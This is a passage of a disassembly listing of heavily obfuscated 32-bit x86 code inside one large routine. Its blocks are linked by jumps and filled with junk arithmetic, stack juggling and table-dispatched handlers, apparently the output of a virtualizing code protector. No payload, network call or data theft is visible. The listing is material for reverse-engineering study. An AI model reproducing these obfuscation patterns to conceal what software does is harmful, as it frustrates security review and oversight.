		mov	[esp+10h+var_10], edx
		push	63A4653Dh
		pop	edx
		jmp	loc_5AF1AE
; ---------------------------------------------------------------------------


loc_5AF74B:				; CODE XREF: sub_5A55E5+82AEj
		mov	ecx, esp
		push	ebp
		push	14BAh
		mov	[esp+3Ah+var_3A], edi
		mov	edi, 2A7B3F7Bh
		jmp	loc_5B23E7
; ---------------------------------------------------------------------------


loc_5AF760:				; CODE XREF: sub_5A55E5+FD82j
		mov	eax, [esp+3Ah+var_3A]
		push	edx
		push	esp
		jmp	loc_5B3EE4
; ---------------------------------------------------------------------------


loc_5AF76A:				; CODE XREF: sub_5A55E5+166EFj
		add	eax, 1CB03E5Eh
		add	ebp, eax
		mov	eax, [esp+42h+var_42]
		push	ebp
		jmp	loc_5B79C6
; ---------------------------------------------------------------------------


loc_5AF77A:				; CODE XREF: sub_5A55E5+D00Ej
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp+4Eh+var_50+2]
		jmp	loc_5BF475
; ---------------------------------------------------------------------------


loc_5AF78D:				; CODE XREF: sub_5A55E5+AECDj
		push	ebp
		push	edi
		mov	edi, 1BDE410Fh
		add	[esp+56h+var_54+2], edi
		jmp	loc_5ACB04
; ---------------------------------------------------------------------------


loc_5AF79D:				; CODE XREF: sub_5A55E5+174C3j
		pop	ebx
		jmp	loc_5B23EF
; ---------------------------------------------------------------------------


loc_5AF7A3:				; CODE XREF: sub_5A55E5+D9BAj
		push	[esp+52h+var_54+2]
		pop	edi
		add	esp, 4
		push	[esp+4Eh+var_50+2]
		pop	ebp
		push	642h
		mov	[esp+52h+var_54+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+56h+var_54+2]
		pop	esi
		pop	[esp+56h+var_58+2]
		jmp	loc_5B046A
; ---------------------------------------------------------------------------


loc_5AF7D2:				; CODE XREF: sub_5A55E5+BF52j
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	edi
		jmp	loc_5BF115
; ---------------------------------------------------------------------------


loc_5AF7E3:				; CODE XREF: sub_5A55E5+878Ej
		neg	bh
		shr	bh, 1
		add	bh, 4Fh
		sub	ch, bh
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		mov	bh, ch
		jmp	loc_5B735C
; ---------------------------------------------------------------------------


loc_5AF7F9:				; CODE XREF: sub_5A55E5+758Aj
		xor	ebx, 0DC2682F1h
		jmp	loc_5B60D5
; ---------------------------------------------------------------------------


loc_5AF804:				; CODE XREF: sub_5A55E5+14425j
		push	edx
		mov	edx, 48DF22C1h
		or	edx, 77500AC6h
		jmp	loc_5B8AFF
; ---------------------------------------------------------------------------


loc_5AF815:				; CODE XREF: sub_5A55E5+12E38j
		add	eax, 4
		add	eax, 4
		jmp	loc_5AD6C0
; ---------------------------------------------------------------------------


loc_5AF824:				; CODE XREF: sub_5A55E5+EF26j
		add	esp, 4
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		mov	ebp, 4
		sub	esi, 32516D8Bh
		add	esi, ebp
		push	ebx
		mov	ebx, 32516D8Bh
		add	esi, ebx
		pop	ebx
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		push	ecx
		mov	ecx, 692E36E7h
		push	ecx
		jmp	loc_5BD69B
; ---------------------------------------------------------------------------


loc_5AF85E:				; CODE XREF: sub_5A55E5+BB3Bj
		mov	esp, [esp+3Ah+var_3A]
		mov	[esp+3Ah+var_3A], eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		jmp	loc_5AF20F
; ---------------------------------------------------------------------------


loc_5AF86E:				; CODE XREF: sub_5A55E5+1423Ej
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5B905E
; ---------------------------------------------------------------------------


loc_5AF880:				; CODE XREF: sub_5A55E5+AC90j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	63B4h
		mov	[esp+3Eh+var_3E], ecx
		jmp	loc_5BAC23
; ---------------------------------------------------------------------------


loc_5AF893:				; CODE XREF: sub_5A55E5+B54Fj
		add	esp, 4
		jmp	loc_5B1A25
; ---------------------------------------------------------------------------


loc_5AF89B:				; CODE XREF: sub_5A55E5+B541j
		mov	eax, 1E0C7965h
		xor	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 1586737h
		push	ecx
		mov	ecx, 5F020ED8h
		neg	ecx
		or	ecx, 532642C5h
		add	ecx, 34CA1B2Ah
		shl	ecx, 3
		xor	ecx, 3F5F3B1Bh
		jmp	loc_5AB61E
; ---------------------------------------------------------------------------


loc_5AF8CB:				; CODE XREF: sub_5A55E5+13A3Cj
		xor	ah, 4Fh
		add	ah, 4Eh
		jmp	loc_5B753D
; ---------------------------------------------------------------------------


loc_5AF8D6:				; CODE XREF: sub_5A55E5+11DEDj
		pop	ecx
		pop	eax
		inc	eax
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_5B61D4
; ---------------------------------------------------------------------------


loc_5AF8E4:				; CODE XREF: sub_5A55E5+E384j
		add	esp, 4
		push	ecx
		mov	ecx, 0C2D2C609h
		add	esi, ecx
		pop	ecx
		dec	esi
		push	44A0h
		mov	[esp+36h+var_36], eax
		push	esp
		pop	eax
		push	esi
		push	ebp
		mov	ebp, 72A54674h
		not	ebp
		dec	ebp
		jmp	loc_5BB1B8
; ---------------------------------------------------------------------------


loc_5AF90D:				; CODE XREF: sub_5A55E5+F53Aj
		push	[esp+3Eh+var_3A]
		mov	edx, [esp+42h+var_42]
		jmp	loc_5B4330
; ---------------------------------------------------------------------------


loc_5AF919:				; CODE XREF: sub_5A55E5+15015j
		push	ebp
		jmp	loc_5AB234
; ---------------------------------------------------------------------------


loc_5AF91F:				; CODE XREF: sub_5A55E5+DB71j
		push	ebx
		mov	ebx, 7B7532BDh
		dec	ebx
		shr	ebx, 4
		jmp	loc_5B286C
; ---------------------------------------------------------------------------


loc_5AF92E:				; CODE XREF: sub_5A55E5+8A9Bj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+32h+var_32]
		pop	esp
		push	ebx
		jmp	loc_5AB4AE
; ---------------------------------------------------------------------------


loc_5AF941:				; CODE XREF: sub_5A55E5+F106j
		mov	al, 0DBh
		sub	al, 0C7h
		add	dl, 0F7h
		jmp	loc_5BD319
; ---------------------------------------------------------------------------


loc_5AF94D:				; CODE XREF: sub_5A55E5+7A44j
		pop	esi
		jmp	loc_5B856E
; ---------------------------------------------------------------------------


loc_5AF953:				; CODE XREF: sub_5A55E5+6911j
		push	ebx
		mov	ebx, 0A530531h
		push	eax
		mov	eax, 675863D5h
		xor	ebx, eax
		pop	eax
		or	ebx, 44C818A3h
		push	eax
		mov	eax, 3CA67D04h
		add	ebx, eax
		pop	eax
		dec	ebx
		and	ebx, 2B030FBCh
		push	ecx
		mov	ecx, 49A23E15h
		neg	ecx
		inc	ecx
		or	ecx, 2B346627h
		add	ecx, 7C6776ADh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 1
		jmp	loc_5B73E7
; ---------------------------------------------------------------------------


loc_5AF998:				; CODE XREF: sub_5A55E5+6D38j
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		push	[esp+8+var_8]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5AD754
; ---------------------------------------------------------------------------


loc_5AF9B1:				; CODE XREF: sub_5A55E5+177F7j
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_5B3E23
; ---------------------------------------------------------------------------


loc_5AF9B9:				; CODE XREF: sub_5A55E5+9E3Aj
		and	edi, 567D16EBh
		jmp	loc_5B6682
; ---------------------------------------------------------------------------


loc_5AF9C4:				; CODE XREF: sub_5A55E5+191F0j
		mov	[esp+2Ch+var_2E+2], ecx
		sub	esp, 4
		mov	[esp+30h+var_32+2], edi
		jmp	loc_5BDD34
; ---------------------------------------------------------------------------


loc_5AF9D5:				; CODE XREF: sub_5A55E5+173F1j
		mov	edx, [esp+30h+var_32+2]
		add	esp, 4
		push	ecx
		mov	ecx, 6B380598h
		shl	ecx, 3
		jmp	loc_5B7371
; ---------------------------------------------------------------------------


loc_5AF9EC:				; CODE XREF: sub_5A55E5+19706j
		mov	edx, 1E242B1Fh
		add	eax, edx
		pop	edx
		sub	eax, 5B01FAFh
		sub	eax, edx
		add	eax, 5B01FAFh
		sub	eax, 1E242B1Fh
		pop	edx
		mov	ebx, eax
		mov	eax, [esp+28h+var_2A+2]
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 524A5EE8h
		sub	edi, 0FFFFFFFFh
		sub	edi, 79BF5C83h
		xor	edi, 0D88B0264h
		push	edi
		mov	edi, 522A1016h
		sub	ebp, edi
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5AE96F
; ---------------------------------------------------------------------------


loc_5AFA39:				; CODE XREF: sub_5A55E5+B706j
		sub	eax, edi
		jmp	loc_5B3466
; ---------------------------------------------------------------------------


loc_5AFA40:				; CODE XREF: sub_5A55E5+E3FDj
		add	eax, 7F4C657Fh
		add	eax, 5737580Ah
		sub	eax, ebp
		push	ebx
		mov	ebx, 31BE2E69h
		jmp	loc_5ADD24
; ---------------------------------------------------------------------------


loc_5AFA57:				; CODE XREF: sub_5A55E5+18A9Ej
		pop	eax
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edx
		push	esp
		pop	edx
		push	ebp
		push	eax
		mov	eax, 4B5C30EFh
		xor	eax, 0B720551h
		mov	ebp, eax
		pop	eax
		shr	ebp, 2
		inc	ebp
		add	ebp, 0FFFFFFFFh
		dec	ebp
		sub	ebp, 100B8D6Ah
		add	edx, 3A725806h
		add	edx, 1A1D277Eh
		add	edx, ebp
		push	edi
		mov	edi, 1A1D277Eh
		sub	edx, edi
		jmp	loc_5AE486
; ---------------------------------------------------------------------------


loc_5AFA9E:				; CODE XREF: sub_5A55E5+5681j
		sub	ecx, 1
		xor	ecx, 59DC2BD1h
		add	edx, ecx
		push	[esp+36h+var_36]
		pop	ecx
		add	esp, 4
		jmp	loc_5AD21A
; ---------------------------------------------------------------------------


loc_5AFABB:				; CODE XREF: sub_5A55E5+14DC6j
		shl	ecx, 4
		sub	ecx, 6A715780h
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 3EB2500Fh
		jmp	loc_5AE085
; ---------------------------------------------------------------------------


loc_5AFAD2:				; CODE XREF: sub_5A55E5+15C9Cj
		sub	esp, 4
		mov	[esp+36h+var_36], eax
		push	2895h
		jmp	loc_5B3ACC
; ---------------------------------------------------------------------------


loc_5AFAE5:				; DATA XREF: sub_5A55E5+4283o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+12h+var_14+2], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AFAF4:				; CODE XREF: sub_5A55E5+B314j
		mov	dx, word ptr [esp+16h+var_18+2]
		jmp	loc_5B78DF
; ---------------------------------------------------------------------------


loc_5AFAFD:				; CODE XREF: sub_5A55E5+17F45j
		push	ebp
		mov	ebp, 142B6D46h
		add	edx, ebp
		pop	ebp
		inc	edx
		jmp	loc_5B0E48
; ---------------------------------------------------------------------------


loc_5AFB0C:				; CODE XREF: sub_5A55E5+66C7j
		sub	esi, 0FFFFFFFFh
		and	esi, 22C2442h
		push	ecx
		mov	ecx, 31B47587h
		dec	ecx
		sub	ecx, 2BCA4FDAh
		or	esi, ecx
		pop	ecx
		dec	esi
		xor	esi, 6DC14654h
		xor	esi, 682B63FDh
		push	ecx
		jmp	loc_5B4F97
; ---------------------------------------------------------------------------


loc_5AFB3B:				; CODE XREF: sub_5A55E5+18CEAj
		xchg	ebp, ebx
		or	ebx, 14997C4Bh
		jmp	loc_5AE769
; ---------------------------------------------------------------------------


loc_5AFB48:				; CODE XREF: sub_5A55E5+131E9j
		sub	eax, 0B241CE1h
		jmp	loc_5B47E2
; ---------------------------------------------------------------------------


loc_5AFB52:				; CODE XREF: sub_5A55E5+16E46j
		add	ebx, edx
		pop	edx
		sub	ebx, esi
		push	esi
		mov	esi, 7541E05h
		sub	ebx, esi
		pop	esi
		pop	esi
		sub	ebx, ebp
		jmp	loc_5B9F53
; ---------------------------------------------------------------------------


loc_5AFB68:				; CODE XREF: sub_5A55E5+811Fj
		or	ebp, 4B952052h
		xor	ebp, 5278BA5Ah
		sub	eax, ebp
		jmp	loc_5B7C70
; ---------------------------------------------------------------------------


loc_5AFB7B:				; CODE XREF: sub_5A55E5+17AC7j
		pop	ebp
		add	ebx, eax
		mov	eax, [esp+26h+var_26]
		push	557Ch
		mov	[esp+2Ah+var_2A], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+2Ah+var_2A]
		jmp	loc_5AF16F
; ---------------------------------------------------------------------------


loc_5AFBA1:				; CODE XREF: sub_5A55E5+10A98j
		add	esp, 4
		jmp	loc_5B799A
; ---------------------------------------------------------------------------


loc_5AFBA9:				; CODE XREF: sub_5A55E5+16399j
		or	ah, 91h
		sub	ah, 92h
		add	cl, ah
		jmp	loc_5B7CCA
; ---------------------------------------------------------------------------


loc_5AFBB6:				; CODE XREF: sub_5A55E5+1495Dj
		xor	edi, 40B558C9h
		sub	edi, 5E8D6FF9h
		xor	edi, 2A2B7F66h
		push	ecx
		jmp	loc_5B153C
; ---------------------------------------------------------------------------


loc_5AFBCE:				; CODE XREF: sub_5A55E5+19613j
		add	edi, eax
		pop	eax
		shl	edi, 1
		jmp	loc_5B2DA7
; ---------------------------------------------------------------------------


loc_5AFBD8:				; CODE XREF: sub_5A55E5+115CAj
		pop	ecx
		push	ebx
		mov	ebx, 522A0533h
		sub	edx, ebx
		mov	ebx, [esp+26h+var_26]
		add	esp, 4
		sub	edx, esi
		add	edx, 522A0533h
		jmp	loc_5B7CB9
; ---------------------------------------------------------------------------


loc_5AFBF7:				; CODE XREF: sub_5A55E5+DF37j
		mov	[esp+22h+var_22], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5B8466
; ---------------------------------------------------------------------------


loc_5AFC07:				; CODE XREF: sub_5A55E5+B993j
		pop	edi
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5BC624
; ---------------------------------------------------------------------------


loc_5AFC1A:				; CODE XREF: sub_5A55E5+12423j
		pop	esi
		add	edx, 2C4802F3h
		add	edx, ecx
		sub	edx, 2C4802F3h
		pop	ecx
		sub	edx, 4
		xor	edx, [esp+0Eh+var_10+2]
		jmp	loc_5AF2B8
; ---------------------------------------------------------------------------


loc_5AFC38:				; CODE XREF: sub_5A55E5+11EA1j
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+12h+var_10+2]
		jmp	loc_5B3EC0
; ---------------------------------------------------------------------------


loc_5AFC4F:				; CODE XREF: sub_5A55E5+5397j
		push	ebx
		mov	ebx, 54392040h
		push	ebx
		add	[esp+2Eh+var_2E], 356B55C6h
		pop	esi
		sub	esi, 356B55C6h
		mov	ebx, [esp+2Ah+var_2A]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Eh+var_2E]
		pop	esp
		add	eax, esi
		pop	esi
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	0F71h
		mov	[esp+26h+var_26], ecx
		push	ebx
		push	edx
		sub	esp, 4
		mov	[esp+32h+var_32], ecx
		jmp	loc_5B158F
; ---------------------------------------------------------------------------


loc_5AFC9E:				; CODE XREF: sub_5A55E5+4998j
		mov	esp, [esp+18h+var_18]
		jmp	loc_5B27CE
; ---------------------------------------------------------------------------


loc_5AFCA6:				; CODE XREF: sub_5A55E5+D53Ej
		push	edx
		jmp	loc_5ACAEB
; ---------------------------------------------------------------------------


loc_5AFCAC:				; CODE XREF: sub_5A55E5+184D9j
		push	ecx
		jmp	loc_5BA0F4
; ---------------------------------------------------------------------------


loc_5AFCB2:				; CODE XREF: sub_5A55E5+15A07j
		mov	ebp, 0CEF0C1Ah
		xor	[esp+20h+var_1C], ebp
		push	[esp+20h+var_22+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5BC1DC
; ---------------------------------------------------------------------------


loc_5AFCCA:				; CODE XREF: sub_5A55E5+16415j
		and	dh, 97h
		push	eax
		mov	al, 14h
		dec	al
		jmp	loc_5B1BD6
; ---------------------------------------------------------------------------


loc_5AFCD7:				; CODE XREF: sub_5A55E5+11300j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5BDDD0
; ---------------------------------------------------------------------------


loc_5AFCE4:				; CODE XREF: sub_5A55E5+7C37j
		mov	ecx, 4C5661F7h
		inc	ecx
		jmp	loc_5B2388
; ---------------------------------------------------------------------------


loc_5AFCEF:				; CODE XREF: sub_5A55E5+122F5j
		pop	esi
		inc	edi
		jmp	loc_5B53D4
; ---------------------------------------------------------------------------


loc_5AFCF6:				; CODE XREF: sub_5A55E5+164E4j
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], edi
		push	53530BDBh
		jmp	loc_5BDCD8
; ---------------------------------------------------------------------------


loc_5AFD26:				; CODE XREF: sub_5A55E5+18F90j
		sub	edx, 5AB01C8Ch
		jmp	loc_5BE10F
; ---------------------------------------------------------------------------


loc_5AFD31:				; CODE XREF: sub_5A55E5+4ABFj
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		sub	bl, 5Bh
		add	bl, al
		add	bl, 5Bh
		sub	bl, 0E2h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AFD55:				; CODE XREF: sub_5A55E5+E0E3j
		mov	edi, [esp+12h+var_14+2]
		add	esp, 4
		shl	edx, 1
		and	edx, 2AD87FFFh
		jmp	loc_5B3A48
; ---------------------------------------------------------------------------


loc_5AFD68:				; CODE XREF: sub_5A55E5+7EFDj
		pop	cx
		xor	cx, 39A7h
		shr	cx, 2
		jmp	loc_5BC055
; ---------------------------------------------------------------------------


loc_5AFD78:				; CODE XREF: sub_5A55E5+1327Cj
		push	edx
		jmp	loc_5B4F85
; ---------------------------------------------------------------------------


loc_5AFD7E:				; CODE XREF: sub_5A55E5+18CC2j
		mov	esi, [esp+3Ch+var_3E+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AE3E8
; ---------------------------------------------------------------------------


loc_5AFD92:				; CODE XREF: sub_5A55E5+D718j
		mov	dh, 18h
		jmp	loc_5B636D
; ---------------------------------------------------------------------------


loc_5AFD99:				; CODE XREF: sub_5A55E5+18F37j
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		push	4386h
		mov	[esp+48h+var_4A+2], eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	4698h
		mov	[esp+0], ebx
		mov	ebx, 4CED4298h
		jmp	loc_5BDF16
; ---------------------------------------------------------------------------


loc_5AFDD9:				; CODE XREF: sub_5A55E5+619Cj
		mov	ebx, esp
		jmp	loc_5BD886
; ---------------------------------------------------------------------------


loc_5AFDE0:				; CODE XREF: sub_5A55E5+9B85j
		add	edx, 47E501B2h
		pop	ecx
		jmp	loc_5B9AC8
; ---------------------------------------------------------------------------


loc_5AFDEC:				; CODE XREF: sub_5A55E5+FC12j
		xor	edi, [esp+14h+var_14]
		jmp	loc_5BF463
; ---------------------------------------------------------------------------


loc_5AFDF4:				; CODE XREF: sub_5A55E5+50D0j
		add	ebp, 4
		push	ecx
		push	3037h
		mov	[esp+66h+var_68+2], edi
		jmp	loc_5B382D
; ---------------------------------------------------------------------------


loc_5AFE08:				; CODE XREF: sub_5A55E5+11B5Bj
		push	ecx
		mov	ch, 0ADh
		mov	dh, 36h
		jmp	loc_5BDD67
; ---------------------------------------------------------------------------


loc_5AFE12:				; CODE XREF: sub_5A55E5+E95Ej
		pop	edi
		jmp	loc_5ADE9C
; ---------------------------------------------------------------------------


loc_5AFE18:				; CODE XREF: sub_5A55E5+85C8j
		pop	ecx
		mov	ecx, [esp+2Ch+var_2E+2]
		push	4597h
		mov	[esp+30h+var_32+2], ebp
		jmp	loc_5B5670
; ---------------------------------------------------------------------------


loc_5AFE29:				; CODE XREF: sub_5A55E5+EC3Ej
		add	edx, 70430F60h
		sub	edx, 4F82599Dh
		jmp	loc_5AC880
; ---------------------------------------------------------------------------


loc_5AFE3A:				; CODE XREF: sub_5A55E5+19001j
		sub	esp, 4
		mov	[esp+34h+var_36+2], ecx
		mov	ch, bl
		mov	dl, ch
		pop	ecx
		mov	[edi+eax*4+1], dl
		pop	edx
		pop	ebx
		jmp	loc_5A9B88
; ---------------------------------------------------------------------------


loc_5AFE50:				; CODE XREF: sub_5A55E5+9CA1j
		add	ecx, 76F90FEDh
		add	ecx, 46F44DEh
		pop	edx
		xor	ecx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ecx
		jmp	loc_5B2203
; ---------------------------------------------------------------------------


loc_5AFE68:				; CODE XREF: sub_5A55E5+563Fj
		add	esp, 4
		pop	[esp+36h+var_36]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], ebx
		push	ecx
		jmp	loc_5B9CBF
; ---------------------------------------------------------------------------


loc_5AFE7A:				; CODE XREF: sub_5A55E5+13B37j
		pop	edx
		dec	edx
		jmp	loc_5B0889
; ---------------------------------------------------------------------------


loc_5AFE81:				; CODE XREF: sub_5A55E5+B9C4j
		mov	eax, 767655AAh
		add	[esp+32h+var_2A], eax
		pop	eax
		sub	[esp+2Eh+var_2A], eax
		jmp	loc_5BCE98
; ---------------------------------------------------------------------------


loc_5AFE94:				; CODE XREF: sub_5A55E5+5D6Cj
		add	esp, 4
		jmp	loc_5B16C5
; ---------------------------------------------------------------------------


loc_5AFE9F:				; CODE XREF: sub_5A55E5+11778j
		and	bl, al
		pop	eax
		dec	bl
		add	bl, 0FFh
		jmp	loc_5B6202
; ---------------------------------------------------------------------------


loc_5AFEAC:				; CODE XREF: sub_5A55E5+13935j
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	ecx
		mov	cl, 0D6h
		jmp	loc_5AFF72
; ---------------------------------------------------------------------------


loc_5AFEBD:				; CODE XREF: sub_5A55E5+121B6j
		pop	ebx
		add	ebx, esi
		push	[esp+10h+var_10]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4580616Fh
		dec	edx
		or	edx, 3FDC4C40h
		not	edx
		add	edx, 444F3CE5h
		xor	edx, 0C472CF72h
		sub	eax, 571858FAh
		add	eax, edx
		add	eax, 571858FAh
		pop	edx
		xchg	eax, [esp+14h+var_14]
		pop	esp
		jmp	loc_5B5AA2
; ---------------------------------------------------------------------------


loc_5AFEFD:				; CODE XREF: sub_5A55E5+9408j
		mov	edi, 2
		sub	ebp, edi
		jmp	loc_5AD22B
; ---------------------------------------------------------------------------


loc_5AFF09:				; CODE XREF: sub_5A55E5+DB36j
		not	ebx
		push	4B2Bh
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 6C150366h
		add	ebx, ebp
		jmp	loc_5B8A05
; ---------------------------------------------------------------------------


loc_5AFF1F:				; CODE XREF: sub_5A55E5+7A57j
		mov	[esp+48h+var_4A+2], esi
		push	6B40h
		mov	[esp+0], esp
		jmp	loc_5AAB70
; ---------------------------------------------------------------------------


loc_5AFF2F:				; CODE XREF: sub_5A55E5+F7BDj
		add	esi, 4
		jmp	loc_5BE9CD
; ---------------------------------------------------------------------------


loc_5AFF37:				; CODE XREF: sub_5A55E5+11761j
		mov	[esp+0], ebx
		mov	ebx, 5156631Eh
		shr	ebx, 8
		inc	ebx
		shl	ebx, 1
		add	ebx, 23C1A442h
		mov	esi, ebx
		pop	ebx
		sub	ecx, esi
		jmp	loc_5B9A09
; ---------------------------------------------------------------------------


loc_5AFF55:				; CODE XREF: sub_5A55E5+15394j
		mov	edx, ebp
		jmp	loc_5B1C3E
; ---------------------------------------------------------------------------


loc_5AFF5C:				; CODE XREF: sub_5A55E5+E090j
		sub	ecx, 945DD637h
		and	ebx, ecx
		mov	ecx, [esp+48h+var_4A+2]
		jmp	loc_5B80C8
; ---------------------------------------------------------------------------


loc_5AFF6C:				; CODE XREF: sub_5A55E5+10C3Ej
		pop	ebx
		jmp	loc_5B5081
; ---------------------------------------------------------------------------


loc_5AFF72:				; CODE XREF: sub_5A55E5+A8D3j
		neg	cl
		sub	cl, 2Ah
		add	bl, cl
		pop	ecx
		add	bl, 45h
		push	ecx
		mov	ch, 0F4h
		jmp	loc_5AA231
; ---------------------------------------------------------------------------


loc_5AFF85:				; CODE XREF: sub_5A55E5+10CA5j
		xchg	edi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5BBBC6
; ---------------------------------------------------------------------------


loc_5AFF90:				; CODE XREF: sub_5A55E5+163C3j
		sub	bx, si
		add	bx, 562Bh
		jmp	loc_5B7C13
; ---------------------------------------------------------------------------


loc_5AFF9D:				; CODE XREF: sub_5A55E5+13C74j
		add	[esp+14h+var_14], 4
		pop	esi
		jmp	loc_5ABB2A
; ---------------------------------------------------------------------------


loc_5AFFA7:				; CODE XREF: sub_5A55E5+13E1Dj
		add	eax, 4556346Bh
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		push	55691F90h
		pop	edi
		add	edi, 43680DCFh
		add	edi, 1
		dec	edi
		shr	edi, 6
		xor	edi, 23031746h
		add	eax, 6DD12739h
		jmp	loc_5BE45A
; ---------------------------------------------------------------------------


loc_5AFFDB:				; CODE XREF: sub_5A55E5+1054Cj
		inc	ebp
		inc	ebp
		and	ebp, 65DD21FAh
		dec	ebp
		add	ebp, 0FEFEFF83h
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_5B3BCB
; ---------------------------------------------------------------------------


loc_5AFFF3:				; CODE XREF: sub_5A55E5+12993j
		inc	ebp
		add	ebp, 71925159h
		sub	ebp, 4F366315h
		mov	ecx, ebp
		pop	ebp
		sub	edx, ecx
		pop	ecx
		sub	ebp, 0BAD59DFh
		sub	ebp, 1CFA3CC8h
		add	ebp, edx
		add	ebp, 1CFA3CC8h
		add	ebp, 0BAD59DFh
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5AE4BD
; ---------------------------------------------------------------------------


loc_5B0028:				; CODE XREF: sub_5A55E5+17760j
		mov	[esp+0Ch+var_C], edi
		push	476Dh
		mov	[esp+10h+var_10], edx
		push	esi
		mov	esi, 172C6ABCh
		mov	edx, 267CE7E7h
		add	edx, esi
		pop	esi
		push	0C256AD5Fh
		pop	edi
		add	edi, edx
		mov	edx, [esp+10h+var_10]
		jmp	loc_5B8C15
; ---------------------------------------------------------------------------


loc_5B0051:				; CODE XREF: sub_5A55E5+186CCj
		xor	dl, 2Ch
		xor	dl, 76h
		mov	cl, dl
		pop	edx
		shr	cl, 6
		shl	cl, 2
		sub	cl, 8Bh
		xor	cl, 53h
		push	edx
		jmp	loc_5AE549
; ---------------------------------------------------------------------------


loc_5B006C:				; CODE XREF: sub_5A55E5+16931j
		push	edi
		jmp	loc_5AB27A
; ---------------------------------------------------------------------------


loc_5B0072:				; CODE XREF: sub_5A55E5+4E4Aj
		mov	ax, [esp+0]
		push	73D6h
		mov	[esp+50h+var_50], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5B9FBD
; ---------------------------------------------------------------------------


loc_5B008B:				; CODE XREF: sub_5A55E5+B52Aj
		sub	esp, 4
		mov	[esp+54h+var_54], esp
		push	edx
		push	ebp
		jmp	loc_5B1D97
; ---------------------------------------------------------------------------


loc_5B0098:				; CODE XREF: sub_5A55E5+CB9Dj
		mov	ah, dl
		mov	ch, ah
		pop	eax
		pop	dx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+5Ah+var_5C+2]
		pop	esp
		mov	word ptr [esp+56h+var_58+2], cx
		add	byte ptr [esp+56h+var_58+3], 1
		jmp	loc_5AC96B
; ---------------------------------------------------------------------------


loc_5B00BE:				; CODE XREF: sub_5A55E5+B220j
		inc	ebx
		add	ebx, 0DA91DD58h
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 0C5CCE47Bh
		add	esi, 6DD50E91h
		add	esi, ecx
		jmp	loc_5B9533
; ---------------------------------------------------------------------------


loc_5B00DB:				; CODE XREF: sub_5A55E5+ADBCj
		add	eax, 4
		xchg	eax, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_5B314A
; ---------------------------------------------------------------------------


loc_5B00E9:				; CODE XREF: sub_5A55E5+B1C4j
		add	edx, esi
		pop	esi
		pop	ecx
		push	edx
		push	[esp+4Ah+var_46]
		pop	edx
		pop	[esp+4Ah+var_4A]
		mov	esp, [esp+46h+var_46]
		mov	edx, [esp+46h+var_46]
		jmp	loc_5B4CC7
; ---------------------------------------------------------------------------


loc_5B0101:				; CODE XREF: sub_5A55E5+B5DBj
		push	eax
		mov	eax, 0D5A53E4h
		neg	eax
		dec	eax
		shr	eax, 1
		add	eax, 2F4C6785h
		shr	eax, 8
		add	eax, 0FF5760C7h
		mov	ebx, eax
